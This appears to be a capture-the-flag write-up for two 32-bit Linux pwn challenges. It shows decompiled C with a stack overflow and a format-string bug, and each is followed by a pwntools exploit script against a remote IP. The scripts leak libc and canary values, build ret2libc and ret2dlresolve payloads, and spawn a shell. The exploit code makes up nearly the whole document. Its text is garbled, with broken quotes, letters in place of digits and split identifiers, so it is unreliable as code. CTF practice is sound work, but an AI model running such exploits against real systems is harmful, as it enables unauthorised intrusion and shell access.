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int__cdecl main()

{

alarm(0x1u);

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);

puts("[*]Put Your Name:");
do_main();

return O;

}

do_main:

ssize_t do_main()

{

char buf; // [sp+10h] [bp-88h]@1
read(0, &buf, 0x100u);

return write(1, &buf, 0x100u);

}
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RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x8048000)
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from pwn import *

context(os='linux, arch="i386', log_level='debug')
DEBUG =0

UBUNTU = 1

GDB=0

if DEBUG:

p = process("./pwn1")

if UBUNTU:

libc = ELF("/lib/i386-linux-gnu/libc.s0.6")
else:

libc = ELF("/usr/lib32/libc.s0.6")

else:

libc = ELF("./libc-2.19.s0")

p = remote('116.62.63.190', 8888)

def main():

if DEBUG:

offset = 0x1b2000

else:

offset = 0x1a2000



if GDB:

raw_input()

read_addr = 0x080483f0
write_addr = 0x08048440
do_main_addr = 0x0804854d
p.recvline()

payload_prefix = '/bin/sh\x00'".ljust(140, 'a")
payload = payload_prefix
payload += p32(do_main_addr)
p.send(payload)

raw_input()

recved = p.recv()

buf = 0x804a000

payload = payload_prefix
payload += p32(read_addr)
payload += p32(do_main_addr)
payload += p32(0) # fd

payload += p32(buf) # buf
payload += p32(8)
p.send(payload)

raw_input()

p.recv()

p.send(/bin/sh\x00")
raw_input()

read_plt _addr = 0x0804a010
payload = payload_prefix
payload += p32(write_addr)
payload += p32(do_main_addr)
payload += p32(1) # fd

payload += p32(read_plt_addr)

payload += p32(4)



p.send(payload)

read_in_libc = u32(p.recv()[-4:])

log.info('read in libc {}.format(hex(read_in_libc)))
libc_base = read_in_libc - libc.symbols['read]
log.info('libc base {}'.format(hex(libc_base)))
system _addr = libc_base + libc.symbols['system’]
log.info('system at {}'.format(hex(system_addr)))
raw_input()

payload = payload_prefix

payload += p32(system_addr)

payload += p32(0xdeadbeef)

payload += p32(buf)
p.send(payload)

p.recv()

p.sendline('cat flag')

p.recv()

if _name_ ==" main_ "
main()
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int__cdecl main()

{



char v1; // [sp+1Bh] [bp-5h]@3
__pid_t forked_pid; // [sp+1Ch] [bp-4h]@8
setbuf(stdin, 0);

setbuf(stdout, 0);
setbuf(stderr, 0);

while (1)

{

write(1, "[*] Do you love me?[Y]\n", Ox17u);
if ( getchar() !="Y")

break;

v1 = getchar();

while (v1!=10 && v1)
forked_pid = fork();

if ( forked_pid )

{

if ( forked_pid <=0)

{

if ( forked_pid <0)

exit(0);

}

else

{

wait(0); // parent wait

}

}

else

{

child_main();

}

}



return O;

}

child_main

int child_main()

{

char *s; // ST18_4@1

int buf; // [sp+1Ch] [bp-1Ch]@1
int v3; // [sp+20h] [bp-18h]@1
int v4; // [sp+24h] [bp-14h]@1
int v5; // [sp+28h] [bp-10h]@1
int v6; // [sp+2Ch] [bp-Ch]j@1
v6 = *MK_FP(__GS__, 20);

buf = 0;

s = (char *)malloc(0x40u);
do_input(&buf);

sprintf(s, "[*] Welcome to the game %s", &buf);
printf(s);

puts("[*] Input Your Id:");

read(0, &buf, 0x100u);

return *MK_FP(_GS__, 20) A v6;

}

do_input

int__cdecl sub_804876D(void *a1)
{

size_tv1;// ST18_4@1

char s; // [sp+1Ch] [bp-4Ch]@1

int v4; // [sp+5Ch] [bp-Ch]@1

v4 = *MK_FP(__GS__, 20);



memset(&s, 0, 0x40u);

puts("[*] Input Your name please:");

__is0c99_scanf("%s", &s);

v1 = strlen(&s);

memcpy(al, &s, v1 + 1);

return *MK_FP(__GS__, 20) A v4;

}
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from pwn import *

import roputils

context(os='linux, arch="i386", log_level="debug')

DEBUG =1



GDB =1

elf = ELF("./pwn2")

if DEBUG:

p = process("./pwn2")

libc = ELF("/lib/i386-linux-gnu/libc.s0.6")
else:

p = remote("116.62.63.190", 8111)

libc = ELF("./libc-2.19.s0")

def leak_canary():

p.recvuntil('TYT)

p.sendline('Y")

raw_input()

p.recvuntil('please:’)

p.sendline("%11$x)

raw_input()

p.recvuntil('game )

canary = p.recvuntil('[*")[:-2]

canary = int(canary, 16)

log.info('get canary {}'.format(hex(canary)))
p.recvuntil('ld:")

p.sendline()

raw_input()

return canary

def leak_libc():

leaked_printf = leak(elf.got['read)
log.info('leaked printf {}'.format(hex(leaked_printf)))
libc_base = leaked_printf - libc.symbols['read’]
log.info('libc base {}'.format(hex(libc_base)))
return libc_base

def leak(addr):

p.recvuntil('[Y]')



p.sendline('Y")

raw_input()

p.recvuntil('please:')

payload = 'ABCD' + '%9%s' + p32(addr)
p.sendline(payload)

raw_input()

p.recvuntil('game ')

leaked data = p.recvuntil([*').split('ABCD")[1][:4]
leaked exact = u32(leaked_data[:4])
p.recvuntil('ld:")

p.sendline()

raw_input()

return leaked_exact

def main():

if GDB:

raw_input()

rop = roputils.ROP("./pwn2")

canary = leak_canary()

#libc_base = leak_libc()

p.recvuntil('[Y]')

p.sendline('Y")

raw_input()

#system_addr = libc_base + libc.symbols['system]
read_in_plt = 0x08048888

read_in_plt = 0x08048570

back to read = 0x080487fa

buf = 0x804a120

#buf = elf.bss()

buf dl_resolve = buf + 0x20

payload_prefix ="a' * 16 + p32(canary) + 'b' * 12

payload = payload_prefix



payload += p32(read_in_plt) + p32(back to read) + p32(0) + p32(buf) + p32(0x100)
p.recvuntil('please:')

p.sendline(‘wtf)

raw_input()

p.recvuntil('ld:")

p.send(payload)

raw_input()

p.send(/bin/sh\x00".ljust(0x20, "x00") + rop.dl_resolve data(buf dl _resolve, 'system'))
#p.send('/bin/sh\x00")

raw_input()

payload = payload_prefix

payload += rop.dl_resolve_call(buf_dl_resolve, buf)

#payload += p32(system_addr) + p32(0Oxdeadbeef) + p32(buf)

p.recvuntil('please:’)
p.sendline(‘wtttf")
raw_input()
p.recvuntil('ld")
p.send(payload)
raw_input()
p.interactive()

if _name__ =='main

main()
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